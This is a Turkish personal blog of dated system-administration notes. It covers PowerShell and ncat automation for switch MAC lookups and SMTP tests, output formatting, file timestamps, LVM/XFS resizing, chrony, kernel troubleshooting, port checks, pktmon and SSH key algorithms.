Amacım, Dell switch'lerin üzerinde bir MAC adresi araması yapmak. Bunu tek tek switch'lere telnet ile bağlanarak yapabilirim. Örneğin

> telnet 192.168.7.1
User: birkullanici
Password: **************
show mac address-table | include AB:CD:EF:01:23:45
quit

gibi bir yöntemle yapmak mümkün. Ama bunu birden fazla switch için tekrarlamak yorucu. Bir betik ile yapmak istesem, telnet, bildiğim kadarıyla otomasyona açık değil. vbs scriptleri içinde SendKeys() kullanmak gibi bir şansımız var, ama onu da çok takdir ettiğimi söyleyemem.

Nihayet, başka bir yöntem buldum. telnet yerine ncat kullanarak bu işi otomatikleştirebildim. Öncelikle ncat'e göndermem gereken komutları bir string nesnesinde birleştirmeliyim. Bunu powershell'de bir değişkende toplayacağım. Önce kullanıcı adı ve şifremi yazıp daha sonra show mac address-table komutunu bu değişkene ekleyeceğim. Elbette aradığım MAC adresini de eklemem gerek. Ama Dell switch'ler MAC adresini iki nokta üst üste (:) veya tire (-) karakteriyle değil, nokta ile ayrılmış 4'lü gruplardan oluşmasını istiyor. Örneğin

AB:CD:EF:01:23:45 veya AB-CD-EF-01-23-45

değil,

ABCD.EF01.2345

olmalı. Genelde MAC adresi girişini ilk verdiğim iki formattan birinde verebildiğim için bunu betiğin içinde dönüştürmeliyim. ncat'e göndereceğim komutları içeren string değişkenini oluşturduğum betiğin ilk kısmını şu şekilde yazdım:

param(
    [Parameter(Mandatory=$true)][string]$mac
)
$mac=$mac.Replace(":","").Replace("-","")
$mymac=$mac.Insert(4,".").Insert(9,".")
$data = "birkullanici`r`nPAROLA`r`nshow mac address-table | include $mymac`r`nquit`r`n"

birkullanici switch'i yönetmek için kullandığımız kullanıcı adımız, büyük harflerle yazdığım PAROLA da parolamız. Bu işleri Windows'da powershell ile yapıyorum. Enter karakteri olarak da hem carriage return (`r) hem de line feed (`n) kullandım. Bundan sonra switch'lerimizin IP adreslerinin bir dizi (array) tipinde bir değişkende ($cihazlar) olduğunu varsayalım. İstersek bu diziyi elle doldurabilir, istersek bir dosyadan okuyabiliriz. Bu doğrultuda betiğimizin ikinci kısmını şu şekilde yazabiliriz:

foreach ($cihaz in $cihazlar) {
    $out = data | ncat -C $cihaz 23
    $out | select-string $mac
}

Bu iki parça birleştirilince her switch'in mac adres tablosunda yer alan kayıtlar sırasıyla gösterilecektir.

Eposta sunucusunu denemek

Yerel ağımızda (veya 25 tcp portu ile erişebildiğimiz bir ağda) bir eposta sunucumuz var. Bunun çalışıp çalışmadığını görmek istiyoruz. Eskiden Windows'ta gelen telnet (Linux'ta hala var) ile şu şekilde deniyorduk:

> telnet epostasunucusu.alanadi.com 25
helo metin
mail from:deneme@alanadi.com
rcpt to:alici@alanadi.com
subject:deneme
data
deneme mesaji
.
quit

Telnet artık varsayılan olarak Window'da gelmiyor. Yüklemek için "Windows Özelliklerini aç veya kapat"tan "Telnet İstemcisi"ni açmak gerek. Bunun yerine nmap paketi ile gelen ncat (netcat klonu) kullanılabilir.

> ncat -C epostasunucusu.alanadi.com 25
helo metin
mail from:deneme@alanadi.com
rcpt to:alici@alanadi.com
subject:deneme
data
deneme mesaji
.
quit

ncat, ikinci satırdan başlayarak (helo ile başlayan) quit komutuna kadar olan komutları bir metin dosyasının (smtp_komutlari.txt) içeriği olarak kaydetmemiz durumunda şu şekilde betiklerde kullanılabilir:

PS> gc .\smtp_komutlari.txt | ncat -C epostasunucusu.alanadi.com 25

Ya da Powershell'in imkanlarını kullanarak

PS> Send-MailMessage -From deneme@alandi.com -To alici@alanadi.com -Subject deneme -Body "deneme mesaji" -SmtpServer epostasunucusu.alanadi.com -Port 25

Ya da Powershell splatting kullanarak

PS> $SmtpParams = @{From="deneme@alanadi.com";To="alici@alanadi.com";Subject="deneme";"Body="deneme mesaji";SmtpServer="epostasunucusu.alanadi.com";Port=25}

PS> Send-MailMessage @SmtpParams

yapmak daha şık olabilir mi?

8.09.2023

Powershell ve UserAgent tanımlayıcısı

Örneğin şu şekilde Powershell'den yapılan bir web sorgusu

PS> Invoke-WebRequest -Uri "https://whatmyuseragent.com"

aynen bir web tarayıcının göndereceği gibi sunucuya, UserAgent String olarak bilinen tarayıcı bilgisi gönderir. Powershell için bu şuna benzer bir dizedir:

Mozilla/5.0 (Windows NT; Windows NT 10.0; tr-TR) WindowsPowerShell/5.1.22621.1778

Powershell 5.0 ve Türkçe Windows 10/11 bilgisayardan bağlantıyı gösteriyor. Bunu özelleştirebiliriz. Microsoft.PowerShell.Commands.PSUserAgent sınıfını kullanarak şu tarayıcıları taklit etmek mümkün:

PS> iwr -UserAgent ([Microsoft.PowerShell.Commands.PSUserAgent]::InternetExplorer) -Uri "https://whatmyuseragent.com"

Bu gibi bir komut, şu sayfadaki tabloya göre Interet Explorer 9.0 bilgisi gönderir. Sınıfın içindeki seçenekler biraz eski:

ChromeUseragent string for Chrome (7.0).
FireFoxUseragent string for Firefox (4.0).
InternetExplorerUseragent string for InternetExplorer (9.0).
OperaUseragent string for Opera (9.0).
SafariUseragent string for Safari (5.0).

Bunun dışında elbette elle seçilmiş değerler de kullanılabilir.

PS> iwr -useragent "merhaba" -uri "https://whatmyuseragent.com"


18.08.2023

Powershell yürütme işleci

Execute operator'ün Türkçesi. Şu sayfadan basit bir örnek:

PS> $mysb = {$b = 456 ; Echo $b }

PS> & $mysb

456

Benden bir örnek:

PS> $myip = {(iwr "http://whatismyip.akamai.com").Content}

PS> $myip

Yine ss64.com'dan bir örnek daha; Script Block'un içinde param koyarak bir fonksiyon gibi kullanabiliriz:

PS> $alert = { param ($message) "$message" } 

PS> & $alert -message "Merhaba"

Merhaba


17.08.2023

Powershell veri biçimlendirme

Türkçe yerel ayarları olan bir bilgisayarda Powershell kullanırken ondalık sayıları yazarken ondalık ayraç nokta "." ama ekrana bastırırken virgüldür ","

$veri = 1222333.456789 # ondalık sayı

"{0:f}"  -f $veri # 1222333,57
"{0:f3}" -f $veri # 1222333,568
"{0:e}"  -f $veri # 1,222334e+006
"{0:E}"  -f $veri # 1,222334E+006
"{0:n}"  -f $veri # 1.222.333,57

$veri = 1299.99 # para birimi

"{0:c}" -f $veri # ₺1.299,99

$veri = 1234 # tamsayı

"{0:n}"    -f $veri # 1.234,00
"{0:d8}"   -f $veri # 00001234 (sola sıfır ekler)
"{0,8:n0}" -f $veri # ___1.234 (sayıdan önce 3 boşluk olur)

$veri = 255 # 16'lık düzen

"{0:x}"  -f $veri # ff
"{0:X4}" -f $veri # 00FF

#veri = 0.25 # yüzde

"{0:p}"  -f $veri # %25,00
"{0:p1}" -f $veri # %25,0
"{0:p0}" -f $veri # %25

# veri = Get-Date # tarih

"{0:d}"  -f $veri # 17.08.2023
"{0:D}"  -f $veri # 17 Ağustos 2023 Perşembe
"{0:f}"  -f $veri # 17 Ağustos 2023 Perşembe 15:17
"{0:F}"  -f $veri # 17 Ağustos 2023 Perşembe 15:17:41
"{0:g}"  -f $veri # 17.08.2023 15:17
"{0:g}"  -f $veri #
17.08.2023 15:17:42
"{0:r}"  -f $veri # Thu, 17 Aug 2023 15:17:41 GMT
"{0:o}"  -f $veri # 2023-08-17T15:17:41.0556971+03:00
"{0:yy-MM-dd}"  -f $veri # 23-08-17

Burada

d: kısa tarih
D: uzun tarih
f: uzun tarih, kısa saat
F: uzun tarih, uzun saat
t: kısa saat
T: uzun saat
g: kısa genel tarih biçimi
G: uzun genel tarih biçimi
yy: yılın son 2 hanesi (23 gibi)
yyyy: tam yıl biçimi (2023 gibi)
M: İçinde bulunulan ay, mümkünse tek haneli sayı
MM: İçinde bulunulan ay, çift haneli (tek ise önüne sıfır ekler)
MMM: İçinde bulunulan ay, 3 karakterli kısaltma
MMMM: İçinde bulunulan ay, tam adı
d : Ayın günü, tek haneli
dd: Ayın günü, çift haneli
hh: Saat, 12 saatlik düzende
HH: Saat, 24 saatlik düzende
mm: Dakika
ss: Saniye 

Select-Object ile hesaplanmış bir alan oluşturuken bu işi kısaca formatstring ile de yapabiliriz:

PS> Get-Process | Select-Object Name, Id, @{N="VM";E={$_.VM/1MB};formatstring="N2"}

Tarih için ayrıca Get-Date ile -Format parametresi de benzer iş görür.

PS> Get-Date -Format "yyyy-MM-dd HH:mm:ss"

2023-08-17 15:17:41

Get-Date'in bir de -UFormat parametresi var:

Get-Date -UFormat %V # yılın haftasını verir (1-52)

10'luk düzende bir sayıyı 16'lık düzende görmek için yukarıdaki gibi

PS> "{0:x}" -f 252   # fc

kullanılabilir. Ama daha genel olarak bir sayıyı herhangi bir düzende yazmak için

PS> [Convert]::ToString(252,2)
11111100

kullanılabilir.

16'lık düzendeki bir sayıyı girmek için başına 0x koymak yeterli:

0xfc    # onluk düzende 252'ye karşılık gelir

Veya ikilik düzendeki bir sayıyı girmek için başına 0b koymak gerek:

0b11111100    # bu da 252

Veya şu şekilde dönüştürmek de işimize yarayabilir:

[Convert]::ToInt32("11111100",2)
252

Burada kullanılan ikinci parametre olarak 2, sayının tabanını belirtiyor. 110 gibi bir sayı ikilik tabanda da olabilir, başka bir tabanda da. Verilen sayı onaltılık tabandaysa benzer bir şekilde (başına 0x ekleyerek veya eklemeden)

[Convert]::ToInt32("40",16)
64

hatta bu değerin karakter karşılığı için

[char][Convert]::ToInt32("11111100",2)
@


kullanılabilir. Bir dosyanın içeriğini hex olarak görmek için


PS> $icerik = cat '.\file.txt' -Encoding Byte -Raw
PS> [System.BitConverter]::ToString($icerik).Replace("-","") 

Daha kolay bir yol, belki, Format-Hex kullanmak:

PS> Format-Hex -Path '.\file.txt'

Tek satırda/cümlede birden fazla veri biçimlendirme:

PS> $veri1=1199; $veri2=5231; $veri3=3199.99
PS> "ilk sayımız {0:d8}, sonraki {1:e2} ve nihayet {2:f4}" -f $veri1, $veri2, $veri3
ilk sayımız 00001199, sonrajş 5,23e+003, ve nihayet 3199,9900

Şu sayfadan güzel birkaç örnek:

PS> "|{0,-10}| |{1,10}|" -f "hello", "world"
|hello     ||     world|

PS> "{0:###-##-##}" -f 1234567
123-45-67

Sonuna 3 haneli tamsayılar eklenmiş Name001, Name002,... gibi 100 isim üretmek:

PS> 1..100 | % { 'Name{0:d3}' -f $_ }

Bir karakterin 16'lık düzendeki karşılığı

PS> '0x' + "{0:x}" -f [int][char]'A'
0x41



3.08.2023

Windows'da dosya ve klasörlerin son değiştirme zamanlarını değiştirmek

NTFS dosya sistemi her dosya ve klasör için 3 farklı zaman bilgisi saklar; oluşturma, son değiştirme ve erişim.

PS> dir file1.txt | select Name, CreationTime, LastWriteTime, LastAccessTime

Name      CreationTime        LastWriteTime       LastAccessTime
----      ------------        -------------       --------------
file1.txt 2023-07-31 08:01:00 2023-08-01 14:05:00 2023-08-03 11:55:48

Bu tarihlerden herhangi birini değiştirmek için şöyle bir kullanım yeterli:

PS> (dir file1.txt).CreationTime=("1999-12-31 23:59:00")
PS> (dir file1.txt).LastWriteTime=("1999-12-31 23:59:00")
PS> (dir file1.txt).LastAccessTime=("1999-12-31 23:59:00")

Hatta bir klasördeki tüm dosyaların zamanlarını değitirmek için

$files =  Get-ChildItem -force | Where-Object {! $_.PSIsContainer}
foreach($object in $files)
{
     $object.CreationTime=("10 November 2016 12:00:00")
}

önerilmiş.

31.07.2023

Linux'ta güncellemeleri otomatik denetlemeyi iptal etmek

Genellikle linux bilgisayarlarda ilk yaptığım, açılışta güncellemeleri kontrol etmek olur. Ama ben bunu yaparken zamanlanmış görevlerden biri de aynı işlemi yapıyor olur. Bu durumda önce devam eden görevin bitmesini beklemem gerekir. Ben kullandığım bilgisayarlarda otomatik güncelleme denetlemesini faydalı bulmadığım için devre dışı bırakmak istiyorum. Fedora GNOME için bu:

sudo systemctl disable dnf-makecache.timer
sudo systemctl disable dnf-makecache.service
sudo systemctl disable packagekit

komutlarıyla mümkün. Ubuntu GNOME için ise bunlara ek olarak

sudo systemctl disable apt-daily.timer
sudo systemctl disable apt-daily-upgrade.timer
sudo systemctl disable apt-daily.service
sudo systemctl disable apt-daily-upgrade.service

yapılması ve /etc/apt/apt.conf.d/20auto-upgrades dosyasının ilk satırındaki

APT::Periodic::Update-Package-Lists "1";

satırının sonundaki 1'in 0 yapılarak şu hale getirilmesi gerekiyor:

APT::Periodic::Update-Package-Lists "0";

systemctl disable işlemine ek olarak systemctl stop işlemleri de mevcut oturum için gerekli olabilir. Seçimlik.

Fedora XFCE için ise dnfdragora'nın her açılışta sistem tepsisinde görünmesini ve bildirimler vermesini engellemek için /etc/xdg/autostart konumundaki ilgili dosyanın etkisiz hale getirilmesi (silinerek, başka yere taşınarak veya dosyanın düzenlenmesi aracılığıyla) gerekiyor.

17.07.2023

LVM - LV genişletme

Bir RockyLinux sunucum vardı. Varsayılan kurulumda disk bölümlendirmesini bırakarak gitmenin cezasını 1 TB'lık bir diskte 900 GB home bölümü ve 70 GB'lık bir root bölümü oluşturması şeklinde ödedim. Root doldu. Home'u küçültüp, root'a yer açmak gerek. Ama bütün Redhat, CentOS ve RockyLinux kurulumlarında varsayılan dosya sistemi XFS olduğu için ve XFS de küçültme işlemini desteklemediği için bu disk bölümünü silip tekrar oluşturmak zorundayım. Bu amaçla sanal makineyi ISO disk kalıbı ile açmak (ilk ekranda "Troubleshooting", sonra "Rescue a Rocky Linux system", sonrasında da 3'e basarak "Skip to shell" diyerek) bir seçenek. Ama LVM ve XFS üzerinde çalışırken diski unmount etmemize gerek yok. /home disk bölümü içine erişen bir uygulama yoksa (ya da onu geçici olarak durdurabiliyorsak) sunucuyu root ile açıp işlemlerimize devam edebiliriz.

Başlamadan önce sunucumuzda xfsdump ve xfsprogs paketlerinin yüklü olduğunu doğrulamak gerek:

# dnf list installed xfsdump xfsprogs

Her şeyin durumunu görebilmek için mevcut volume gruop (VG) yapısını listeleyerek başlayalım:

# vgs

VG        #PV        #LV        #SN    VSize        VFree
rl        1            3          0    <1022.41G    0

Bundan sonra da mantıksal bölümleri (logical volume, LV) inceleyelim:

# lvs
LV      VG    LSize
home    rl    948.46g
root    rl     70.00g
swap    rl     <3.95g

İlk iş, home'un yedeğini almak. Bunun için xfs araçlarından xfsdump ve xfsrestore'u kullanabiliriz. Bu aşamada /home mount edilmiş olmalı.

# mkdir /backup

# xfsdump -l 0 -f /backup/home_backup.dump /home

Sonrasında .dump dosyasının durumunu kontrol etmek için

# ls -lh

# xfsdump -I

# xfsrestore -t -f /backup/home_backup.dump

kullanılabilir. Bu aşamada artık /dev/rl/home'u silip yeniden oluşturabiliriz. Silmeden önce unmount etmeliyiz.

# umount /home

Eğer /home bağlantı noktasının meşgul olduğuna dair bir hata ile karşılaşırsak lsof /home ile bakabilir, PID'leri kontrol ettikten sonra kill -9 <PID> ile sonlandırıp tekrar unmount etmeyi deneyebiliriz.

Şimdi home mantıksal bölümünü silebiliriz:

# lvremove /dev/rl/home

home'u sildikten sonra VG içinde boş yer açılmış olmalı:

# vgs
VG    #PV    #LV    #SN    VSize        VFree
rl    1        2      0    1022.41g    948.46g

#LV bir azaldı, VFree alanı da sildiğimiz mantıksal bölüm boyutunca arttı. Şimdi tekrar, daha küçük bir home mantıksal birimi oluşturalım. 20G yeter de artar bile.

# lvcreate -L 20G -n home rl

Bu komut sonunda

WARNING: xfs signature detected on /dev/rl/home at offset 0 Wipe it? [y/n]:

gibi bir uyarı verdi. Oluşturduğumuz yerde eski bir xfs bölümü kalıntısı bulmuş. Bu bilgiyi kullanabileceğim bir yer bulamadım. Sanıyorum veri kurtarma teknikleri ile yanlışlıkla silinmiş bir mantıksal bölümü geri getirmek için. Bizim amacımız bu değil; y'ye basarak işleme devam edebiliriz. Sonrasında sırasıyla yeni oluşturulan bölümü biçimlendirip, mount edip, yedekten geri yükleyeceğiz:

# mkfs.xfs /dev/rl/home

# mount /dev/rl/home /home

# xfsrestore -f /backup/home_backup.dump /home

Bu sayede çok ilginç bir şey daha öğrendim; eğer bir sunucu için /home klasörü ve içindekiler, bir kişisel bilgisayarın /home klasörüne kıyasla daha vazgeçilebilir ise veya yedeklemeyi unuttuysak /home klasörümüzü ve diğer birkaç varsayılan dosyayı yaratmak için şurada bahsedildiği gibi aşağıdaki komutu kullanabiliriz:

# mkhomedir_helper kullanici_adi

Nihayet /dev/rl/root mantıksal birimini genişletebiliriz. Önce mevcut VG'deki boş yeri kontrol edelim:

# vgs

VG    #PV    #LV    #SN    VSize        VFree
rl    1        3      0    1022.41g    928.46g

Evet, 928 GB yer hala mevcut. root mantıksal birimini VG içindeki tüm boş alanı kapsayacak şekilde (-l +100%FREE) genişletelim:

# lvextend -l +100%FREE /dev/rl/root

LV'nin genişlediğini doğrulayalım:

# vgs

VG    #PV    #LV    #SN    VSize        VFree
rl    1        3      0    1022.41g        0

ve

# lvs 

LV      VG    LSize
home    rl     20.00g
root    rl    998.46g
swap    rl     <3.95g

LV genişledi, ama içindeki xfs dosya sisteminin boyutu hala eski boyutlarında:

#df -hT

Filesystem           Type  Size   Used    Avail  Use%    Mounted on
/dev/mapper/rl-root  xfs   70G    50G    20G     72%     /
/dev/mapper/rl-home  xfs   20G    176M   20G      1%     /home
/dev/sda1            vfat  599M    7.0M  592M     2%     /boot/efi
/dev/sda2            xfs  1014M   316M   699M    32%     /boot


Sıra root mantıksal biriminin içindeki xfs dosya sistemini genişletmeye geldi:

# xfs_growfs /dev/rl/root

Nihayet o da genişledi

# df -hT

Filesystem           Type    Size    Used   Avail  Use%   Mounted on
/dev/mapper/rl-root  xfs     999G    57G    942G    72%   /

Eğer herşey tamamsa /backup/home_backup.dump'ı silebiliriz.

10.07.2023

chrony

Yerel ağda çevrimdışı çalışan linux çalışan bir makinede zaman eşitleme sorunu olduğunu farkettim. Yerel ağımızdaki tüm Windows bilgisayalarlar, zaman eşitlemesi için etki alanı sunucumuzu kullanıyorlar. Ama linux makine için bu yapılandırma atlanmış.

Önce timedatectl ile mevcut zaman eşitlemesi yapılandırmasını kontrol ettim:

# timedatectl

               Local time: Pzt 2023-07-10 08:38:03 +03
           Universal time: Pzt 2023-07-10 05:38:03 UTC
                 RTC time: Pzt 2023-07-10 05:38:03
                Time zone: Europe/Istanbul (+03, +0300)
System clock synchronized: no
              NTP service: active
          RTC in local TZ: no

Zaman dilimi bilgisi doğru ve NTP eşitlemesi etkin gözüküyor. Zaman eşitleme alt bileşeni olarak ntpd, systemd-timesyncd veya chronyd kullanılıyor olabilir. systemctl status ile var olan hizmetlere baktım, sadece chronyd'nin aktif olduğunu gördüm. chrony'nin yapılandırma dosyası /etc/chronyd.conf'u açtıım

# vim /etc/chronyd.conf

Tek yaptığım ilk satırda pool direktifinin yanında yer alan eski NTP sunucusu 2.fedora.pool.ntp.org'u kaldırıp yerine yerel ağdaki sunucumun IP adresini girdim. Aslında pool kullanıldığı için yanına da ekleyebilirdim ama cihaz çoğunlukla çevrimdışı çalışacağından gerek görmedim. Daha sonra chronyd hizmetini yeniden başlattım:

# systemctl restart chronyd.service

chrony yerine ntp kurulu olsaydı onun yapılandırma dosyası da /etc/ntp.conf olacaktı. systemd-timesyncd için de yapılandırma dosyası /etc/systemd/systemd-timesyncd.conf olurdu.

Hizmetin tekrar başlatılması sonucunda zaman eşitlemesi yapılacak. Ben tcpdump ile durumu takip etmek istedim:

# tcpdump udp port 123 -i eth0

Buna alternatif olarak chronyc komut dosyası ile durumu takip edebilirim:

# chronyc sources

# chronyc tracking

---

[1] https://www.redhat.com/sysadmin/chrony-time-services-linux

[2] https://www.golinuxcloud.com/configure-chrony-ntp-server-client-force-sync/

2.07.2023

Manjaro'da açılışta donma sorunu

Sorun birkaç kez tekrarlayınca sistem kayıtlarını incelemek istedim. Sondan bir önceki (-b -1)  boot'taki hataları ve daha önemli mesajları (-p 3) görmek için

$ journalctl -b -1 -p 3

kullandım. Şöyle birkaç satır gördüm:

Haz 25 20:32:49 manjaro kernel: iwlwifi 0000:02:00.0: pci_enable_msi failed - -22
Haz 25 20:32:49 manjaro kernel: BUG: kernel NULL pointer dereference, address: 0000000000000000
Haz 25 20:32:49 manjaro kernel: #PF: supervisor read access in kernel mode
Haz 25 20:32:49 manjaro kernel: #PF: error_code(0x0000) - not-present page

Sonra kırmızı ile işaretlediğim "supervisor read access in kernel mode" satırını tüm kayıtlarda arattım:

$ journalctl | grep 'supervisor read access in kernel mode' 

Bu hatalar acaba her seferinde bir donma ile sonuçlanan ve güç düğmesine basılı tutarak sistemi zorla kapattığım durumlara mı sebep oluyordu, yoksa bazı durumlarda sistem normal açılmış olabilir miydi? Bunu bulmak için şu yazdımdaki yöntemi kullanarak normal kapanmayan durumları listeledim: 

$ last -Fxn52 shutdown reboot

Son iki komudun çıktılarındaki tarihlerin arasındaki korelasyon bu hatanın sonucunda bilgisayarın donduğunu gösteriyordu. journal kayıtlarımın el verdiği (yakın bir dönemde eski kayıtları bir miktar temizlemiştim) ölçüde bunun manjaro 6.1 LTS çekirdek sürümüyle ilgili olabileceğini gördüm. %100 diyemesem de sanki 6.1 sürümü öncesinde yaşamadığım bir olaydı. Bir denemek için 6.1 LTS sürümü kaldırmaya karar verdim. Önce bilgisayarı bir kez yeniden başlatıp daha önceki (5.15 LTS) bir çekirdek sürümü ile açtım. Daha sonra da şu komutla 6.1'i kaldırdım: 

$ sudo mhwd-kernel --remove linux61

Bir süre kullanıp göreceğim. Bu arada Manjaro Forum'da ([1],[2]) bu hatanın 2021'den bu yana karşılaşılabilen bir hata olduğu, ve 5.10 LTS'de bile olduğunu gördüm. Şu anda 5.15 LTS sürümümü deniyorum, birkaç gün içinde olay tekrarlarsa başka çekirdekler denemem gerekebilir.

2023-09-01: 5.15 çekirdek sürümüne geçtikten sonra bugüne kadar benzer bir sorunla karşılaşmadım. Bir sonraki LTS çekirdek sürümüne kadar 5.15'te kalacağım.

2024-03-10: Bir süre önce 6.6 LTS sürümünü görünce yükledim, ama farklı bir sonuç çıkmadı. Benim donanımımla ilgili bir sorun olduğu kesin. Hala 5.15'e devam.

---

[1] https://forum.manjaro.org/t/system-freezes-bug-kernel-null-pointer-dereference/81207/2 

[2] https://forum.manjaro.org/t/linux-5-13-acpi-call-bug-kernel-null-pointer-dereference/74307 

26.06.2023

port durumu inceleme

Tüm ICMP trafiği açık olsa bile ping'in yeterli olmadığı durumlar vardır.

Uzak sunucuda çalışan bir hizmetin açık portunun cevap verip vermediğini inceleme ihtiyacı olur; 80 numaralı HTTP portuna erişebiliyor muyum, NTP sunucusunun 123 UDP portu dinlemede mi gibi.

Powershell dünyasında kısmen TCP için

PS> Test-NetConnection -ComputerName uzakpc -Port 80

gibi bir yöntem var.

2023-11-20 ek: daha hızlı bir yöntem

PS> (New-Object Net.Sockets.TcpClient).Connect("192.168.1.1",80)

hata vermezse başarılıdır. Başarısız durumda hata verir.

Yine TCP için Sysinternals'ın psping'i kullanılabilir:

PS> psping uzakpc:80

Ama UDP için benzer bir araç bilmiyordum. Linux'ta netcat (nc) için şöyle bir kullanım buldum:

$ nc -z -u -v time.windows.com 123

Connection to time.windows.com 123 port [udp/ntp] succeeded!

burada

-z : zero IO (sadece bağlantı durumunu bildir, gereksiz veri alışverişi yapma)

-u : UDP kullan

-v : verbose (ayrıntılı çıktı göster)

Windows'da ise gerek WSL gerekse nmap ile gelen nc klonu ncat ile de benzer kullanım mümkün. UDP için

PS> ncat -vuz time.windows.com 123

Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 40.119.148.38:123.
Ncat: UDP packet sent successfully
Ncat: 1 bytes sent, 0 bytes received in 2.04 seconds.

veya TCP için

PS> ncat -vt uzakpc 80

Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to xx.xx.xx.xx:80.

ncat, TCP için -z (zero IO) parametresini kabul etmedi, protokolün doğası gereği. Yukarıdaki komuttan sonra bağlantı açık kalır, web snuucu GET, POST gibi komutlardan birini bekler. Örneğin Ctrl+C ile çıkmadan aşağıdaki gibi bir komut yazılarak varsayılan açılış sayfası istenebilir:

GET / HTTP/1.1

Benzer ihtiyacı olan powershell severler, kendi cmdlet'lerini de yapmışlar [1].

Bu arada 123/udp portuna bağlanabiliyor olmak, çalışan bir NTP hizmeti olduğu anlamına gelmez, sadece ilgili sunucunun NTP portuna bağlanabildiğimizi gösterir. Aynı şekilde 80/tcp portuna bağlanmak web sunucunun tam olarak istediğimiz şekilde çalıştığını göstermez, sadece bu portunu dinleyen bir hizmetin aktif olduğunu gösterir.

---

[1] https://cloudbrothers.info/en/test-udp-connection-powershell/

23.06.2023

Karanlık tema

Blog'un görseline uzun zamandır gereken önemi veremediğimin farkındaydım. Nihayet o gün bugünmüş. Karanlık temamın güzel olduğunu düşünüyorum. "Nihayet, gecenin bir vakti blog yazarken beyaz ışığa bakmayacağım" demek isterdim, ama düzenleme sayfasının teması değişmiyormuş. Olsun, bu da bir şey.

16.06.2023

pktmon

Linux sistemlerde mümkündü, ama Windows'da olduğunu yeni öğrendim. Uzaktaki bir sistemin yakalanan paketleri kaydetmesini (Wireshark veya tcpdump gibi) nasıl sağlayabilirim?

Şu videoda belirtildiği gibi pktmon kullanarak:

pktmon start --capture

ile başlanan yakalama işlemi, mevcut klasördeki pktmon.etl dosyasına kaydediliyor. Bu dosyayı açmak için bir sürü yöntem vardır eminim, ama Wireshark ile açmak için önce bu dosyayı pcapng formatına dönüştürmek gerek. Bunu da

pktmon etl2pcap pktmon.etl

diyerek yapabiliyoruz. Bundan sonrası Wireshark işleri. Filtreler ekleme için şu ve bu sayfalar faydalı olabilir. Örneğin --capture ile yakalamaya başlamadan önce hedefimizi daraltmak ve yakalanan dosyayı küçültmek için şu şekilde filtreler eklenebilir:

pktmon filter add -i 1.1.1.1 -t icmp

Bu satır ile 1.1.1.1 adresine giden ve bu adresten gelen ICMP paketleri yakalanır.

pktmon filter add -p 53

Yukarıdaki satır da sadece 53 portu (DNS) trafiğini yakalar.

Yakalamayı sonlandırmak için ise stop komutu kullanılır

pktmon stop

9.06.2023

ssh-rsa algorithm is disabled

Linux sunucularda oturum açmak için kullandığım görece "yeni" bir rsa anahtarım vardı. Yeni kurulum yaptığım bir sunucuya da bu anahtarı aktarıp ssh ile oturum açmaya çalıştığımda kabul etmedi, loglarda

sshd[xxxxx]: main: sshd: ssh-rsa algorithm is disabled

gibi bir satır gördüm. Niye acaba ssh-rsa devre dışı bırakılmış olabilir diye bir arama yapmak yerine bunu ChatGPT'ye sormak istedim:

Özetle ssh-rsa, SHA1 hash işlevlerini kullandığı için, SHA1'in ise artık güvensiz kabul edildiğinden [1] dolayı, devre dışı geliyormuş. Bu konuda ilginç görüşler [2] de var ama camia güvensiz diyorsa güvensizdir.

SHA1'in güvensiz kabul edildiğini biliyordum, ama RSA'nın SHA1 kullandığını bilmiyordum. Son 1 yılda kurulmuş bir sunucu (Debian) üzerinde oluşturduğum ssh anahtarımın da ssh-rsa olduğunu öğrenince şaşırdım.

İki seçeneğim var; ya sunucuda (güvenlik uyarılarını göz ardı ederek) ssh-rsa desteğini etkinleştireceğim, ya da ssh anahtarımı sha512 desteği olacak şekilde yenileyeceğim. İlk yöntemi denemek istemesem de serverfault.com'da ve redhat.com'da şu şekilde bir yöntem belirtilmiş:

# update-crypto-policies --set DEFAULT:SHA1

Ayrıca stackexchange.com'da da bir yöntem buldum, ama RockyLinux'ta işe yaramadı.

Gelelim önerilen yönteme. ssh-keygen'in sha512 kullanmasını söyleyen bir parametre yok. Ama çeşitli kaynaklardan [3,4] bulduğum yöntem ssh-keygen'e -t ile anahtar tipini ecdsa olarak belirtmek ve bit uzunluğunu 521 (evet, ilginç) seçmek.

$  ssh-keygen -t ecdsa -b 521

man ssh-keygen'de parametreler hakkında şu bilgiler var:

-t dsa | ecdsa | ecdsa-sk | ed25519 | ed25519-sk | rsa
             Specifies the type of key to create.  The possible values are “dsa”, “ecdsa”, “ecdsa-sk”, “ed25519”, “ed25519-sk”, or “rsa”.

-b bits
             Specifies the number of bits in the key to create.  For RSA keys, the minimum size is 1024 bits and the default is 3072 bits.  Gener‐
             ally, 3072 bits is considered sufficient.  DSA keys must be exactly 1024 bits as specified by FIPS 186-2.  For ECDSA keys, the -b
             flag determines the key length by selecting from one of three elliptic curve sizes: 256, 384 or 521 bits.  Attempting to use bit
             lengths other than these three values for ECDSA keys will fail.  ECDSA-SK, Ed25519 and Ed25519-SK keys have a fixed length and the -b
             flag will be ignored.

Bir genel anahtarın içine bakarak ne tür bir algoritma kullandığını görebiliriz:

$ cat id_ecdsa.pub

ecdsa-sha2-nistp521  ...

---

[1] https://www.computerworld.com/article/3173616/the-sha1-hash-function-is-now-completely-unsafe.html

[2] https://www.quora.com/Does-SHA-1s-insecurity-have-any-effect-on-Git

[3] https://cloud.ibm.com/docs/hp-virtual-servers?topic=hp-virtual-servers-generate_ssh 

[4] https://www.ssh.com/academy/ssh/keygen#choosing-an-algorithm-and-key-size

 

8.06.2023

pacman.log

Uzun bir süredir Manjaro kurulu olan bir bilgisayarım var. Diskini değiştirdim, diskte yer azaldı, temizlik yaptım, ama pacman.log dosyasını hiç temizlemedim. 4 seneden fazla bir zamandır kullanıyormuşum:

$ head -5 /var/log/pacman.log

İlk satırdaki tarih ilk güncelleme yaptığım tarih.

5 farklı sürüm LTS çekirdek kurmuşum:

$ grep -E 'installed linux[[:digit:]]{2,3}[[:blank:]]' /var/log/pacman.log | wc -l

5

grep komutuna özgü [[:digit:]] ve [[:blank:]] zırvaları ile uğraşmamak için

$ grep -E 'installed linux[0-9]{2,3} ' /var/log/pacman.log | wc -l

de kullanabiliriz. Ama + ve * gibi nicelik belirten operatörler için yine -en azından grep kullanırken- [[:digit:]] ve [[:blank:]] gibi işleçlere ihtiyaç var.

Bütün çekirdek güncellemeleri bu kadar değil. Güncellemeler 248 kez olmuş:

